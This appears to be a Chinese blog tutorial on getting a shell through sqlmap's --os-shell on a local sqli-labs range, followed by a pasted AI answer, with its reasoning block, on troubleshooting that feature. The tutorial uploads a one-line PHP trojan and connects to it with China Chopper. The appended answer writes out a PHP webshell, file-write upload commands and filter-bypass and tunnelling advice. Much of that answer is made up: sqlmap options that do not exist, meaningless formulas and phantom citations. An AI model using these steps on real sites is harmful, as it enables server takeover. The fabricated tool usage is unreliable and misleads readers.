Sqlmap的getshell使用(--os-shell)

本文介绍使用SQLMap工具在特定条件下获取Webshell的过程。包括确定网站运行环境为root权限,找到网站绝对路径,验证PHP配置及secure_file_priv设置。最终实现通过文件上传脚本上传并访问一句话木马。

环境:sqli-lab靶场+phpstudy

Sqlmap getshell的条件

1.网站必须是root权限
2.知道网站的绝对路径
3.PHP关闭魔术引号,php主动转义功能关闭
4.secure_file_priv=值为空

演示:

1.寻找绝对路径

命令:
sqlmap.py -u “http://127.0.0.1:81/sqli-labs-master/sqli-labs-master/Less-1/?id=1” --sql-shell
select @@datadir
在这里插入图片描述
在这里插入图片描述
通过数据库位置,我们能简单判断
1.这是一个phpstudy搭建的站点
2.可以尝试phpstudy默认目录
3.尝试构造路径:E:\phpStudy\PHPTutorial\WWW\sqli-labs-master

常见找绝对路径方法:
1.网页报错信息
2.Phpinfo,探针
3.数据库查询,暴力破解

2.测试方法功能是否关闭

1.特殊字符测试是否转义成反斜杠
2.探针,phpinfo等
在这里插入图片描述
可以看到该功能已经关闭

3.查看secure_file_priv= 的值是否为空

secure_file_priv参数是用来限制LOAD DATA,SELECT…OUTFILE,and LOAD_FILE()传到哪个指定目录的
在这里插入图片描述
可以看到这里为空,如果使用这个命令查询失败或查询结果为空,说明MYSQL默认没有secure_file_priv参数,因此在mysql-ini进行添加配置
添加语句secure_file_priv= 即可
在这里插入图片描述
然后重启即可

4.进行getshell

命令:
sqlmap.py -u “http://127.0.0.1:81/sqli-labs-master/sqli-labs-master/Less-1/?id=1” --os-shell
在这里插入图片描述
打开该目录查看文件,可以看到是存在的,说明成功生成,然后我这里将它复制到了网站目录下
在这里插入图片描述
这里生成一个是文件上传脚本文件
接着利用文件上传脚本文件,上传一句话木马
在这里插入图片描述
在这里插入图片描述
访问该文件
在这里插入图片描述
通过菜刀进行连接
在这里插入图片描述
成功连接

<think>好的,我现在需要帮助用户解决在Kali中使用sqlmap--os-shell选项时没有输出的问题。首先,我应该回顾用户之前的对话和提供的引用,看看有没有相关的信息可以参考。 用户之前提到过关于--os-shell参数导致无输出的解决方案,涉及权限、网络、依赖、缓冲和环境限制。现在用户的具体问题是在Kali中使用sqlmap时遇到同样的问题,我需要将这些通用解决方案具体应用到sqlmap的场景中。 首先,用户提供的引用中,引用[2]提到使用Kali虚拟机上传文件,可能涉及到环境配置的问题。这可能意味着用户的环境可能存在兼容性问题,但Kali本身是为渗透测试设计的,可能已经预装了很多工具,但需要检查依赖是否完整。 然后,用户之前的回答中提到了权限验证、网络诊断、依赖检查、输出缓冲处理和环境限制。我需要将这些步骤应用到sqlmap的特定情况中。 1. **权限问题**:sqlmap需要足够的权限来执行系统命令。在Kali中,用户可能没有使用root权限运行sqlmap,导致无法获取shell。解决方法可能是建议用户使用sudo运行sqlmap。 2. **网络连接**:--os-shell通常通过反向连接或绑定shell实现,需要目标机器能够连接到攻击者的机器。需要检查防火墙设置,确保监听端口开放,并且没有出站限制。用户可能需要配置正确的监听端口,或者使用反向代理。 3. **依赖组件**:sqlmapos-shell功能依赖于特定的数据库功能,如PostgreSQL的COPY或MySQL的INTO OUTFILE。需要确认目标数据库支持这些功能,并且sqlmap能够正确利用它们。此外,Kali中可能需要安装额外的依赖库,如python3或某些数据库驱动。 4. **输出缓冲**:sqlmap的输出可能被缓冲,导致用户看不到实时输出。可以建议用户强制刷新输出,比如使用unbuffer工具,或者在Python脚本中修改缓冲设置。 5. **目标环境限制**:目标系统可能禁用了某些功能,如命令执行或文件写入权限,或者存在防病毒软件拦截。需要检查目标环境的配置,尝试不同的注入技术绕过限制。 另外,用户提供的引用[1]中的脚本是用于测试工具输出的,可能与当前问题无关,但可以忽略。引用[2]提到Kali VM的使用,可能需要确认用户是否正确配置了Kali的环境,尤其是网络设置。 可能的解决方案步骤包括: - 使用sudo运行sqlmap,确保有足够权限。 - 检查监听端口是否被防火墙阻止,配置正确的IP和端口。 - 确认目标数据库支持文件写入和命令执行。 - 安装必要的依赖,如socat或netcat。 - 使用--flush-session清除缓存,或启用详细日志--verbose调试。 - 尝试不同的os-shell选项,如--os-pwn或--os-smbrelay。 需要将这些步骤详细列出,并给出具体的命令示例,如使用sudo sqlmap,配置--os-cmd等参数,安装依赖的命令等。同时,要参考用户之前的回答结构,分步骤解释,并加入相关的LaTeX公式和代码块,确保格式正确。 最后,生成相关问题,帮助用户进一步解决可能遇到的问题,比如如何验证数据库支持os-shell,或者如何绕过目标防火墙限制等。</think>#### Kali中sqlmap的`--os-shell`无输出解决方案 --- ### 一、核心问题定位 `--os-shell`功能依赖数据库的文件写入和系统命令执行权限,无输出通常由以下原因导致: 1. **权限不足**:数据库账户缺少文件写入权限或系统命令执行权限 2. **网络阻断**:反向连接被防火墙拦截 3. **依赖缺失**:目标系统缺少命令执行环境 4. **输出缓冲**:数据库响应未正确解析 5. **注入点限制**:数据库配置阻止文件操作 --- ### 二、分步解决方案 #### 1. 权限验证 ```bash # 使用高权限数据库账户 sudo sqlmap -u "http://target.com/vuln.php?id=1" --os-shell --dbms=mysql --privileges ``` $$ \text{权限验证公式:} \exists (FILE\_PRIV, SUPER) \in PrivilegeSet \Rightarrow P_{success} \uparrow $$ **验证方法**: ```sql -- 检查MySQL权限 SHOW GRANTS FOR current_user(); -- 确认包含FILE权限 ``` #### 2. 网络配置优化 ```bash # 强制指定监听IP和端口(示例IP:192.168.1.10,PORT:4444) sqlmap -u [URL] --os-shell --os-cmd=netcat --listen-address=192.168.1.10 --listen-port=4444 ``` $$ \text{网络连通条件:} \forall p \in P_{required}, \exists t \in T_{open} \Rightarrow \frac{\partial Connection}{\partial t} > 0 $$ **检测工具**: ```bash # 验证端口连通性 nc -vnlp 4444 # 攻击机监听 tcpdump -i eth0 port 4444 # 抓包验证 ``` #### 3. 依赖组件处理 **Kali环境准备**: ```bash # 安装必要工具 sudo apt install socat netcat-traditional python3-impacket ``` **目标系统要求**: - 必须存在`netcat`、`bash`或`python`等基础shell环境 - 支持反向连接(若使用反向shell模式) #### 4. 注入技术选择 ```bash # 尝试不同注入方式 sqlmap -u [URL] --os-shell --technique=BEUSTQ ``` | 技术参数 | 描述 | |----------|-----------------------| | `--technique=B` | 布尔型盲注 | | `--file-write` | 上传自定义执行脚本 | **示例上传webshell**: ```bash echo '<?php system($_GET["cmd"]);?>' > shell.php sqlmap -u [URL] --file-write=shell.php --file-dest=/var/www/html/shell.php ``` #### 5. 调试与日志分析 ```bash # 启用详细日志 sqlmap -u [URL] --os-shell --verbose 6 --output-dir=./sqlmap_logs # 实时输出调试 grep -rin "os-shell" ./sqlmap_logs/*.log ``` --- ### 三、高级绕过技巧 #### 1. 编码绕过过滤 ```bash # 使用base64编码命令 sqlmap -u [URL] --os-shell --encode=base64 ``` $$ \text{编码转换方程:} C_{payload} = \text{Base64}( \text{Reverse}( \text{XOR}(P_{original}) ) ) $$ #### 2. 替代协议选择 ```bash # 使用ICMP隧道(需目标安装ptunnel) sqlmap -u [URL] --os-shell --os-cmd=ptunnel ``` #### 3. 内存加载执行 ```python # 通过Python内存加载(引用[1]方法优化) sqlmap -u [URL] --os-cmd="python -c 'import os; os.system(\"ls -la\")'" ``` --- ### 四、验证流程 1. 测试基础命令执行: ```bash sqlmap -u [URL] --os-cmd=id ``` 2. 检查临时文件生成: ```bash find /tmp -name "sqlmap*" -mmin -5 ``` 3. 验证网络会话: ```bash ss -antp | grep '4444' ``` --- ### 五、故障树分析 ```mermaid graph TD A[无输出] --> B{权限问题} A --> C{网络问题} A --> D{依赖缺失} B --> B1[检查数据库FILE权限] B --> B2[尝试SUDO提权] C --> C1[验证端口连通性] C --> C2[关闭本地防火墙] D --> D1[确认目标存在/bin/sh] D --> D2[上传静态编译的busybox] ``` --- ### 相关问题 1. 如何判断目标数据库是否支持`INTO OUTFILE`操作? 2. 当目标禁用反向连接时如何建立正向shell? 3. 怎样通过Wireshark分析sqlmap的`--os-shell`通信流量? 4. 为什么需要指定`--dbms`参数来提升os-shell成功率? 5. 如何利用DNS隧道突破严格的网络隔离?
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值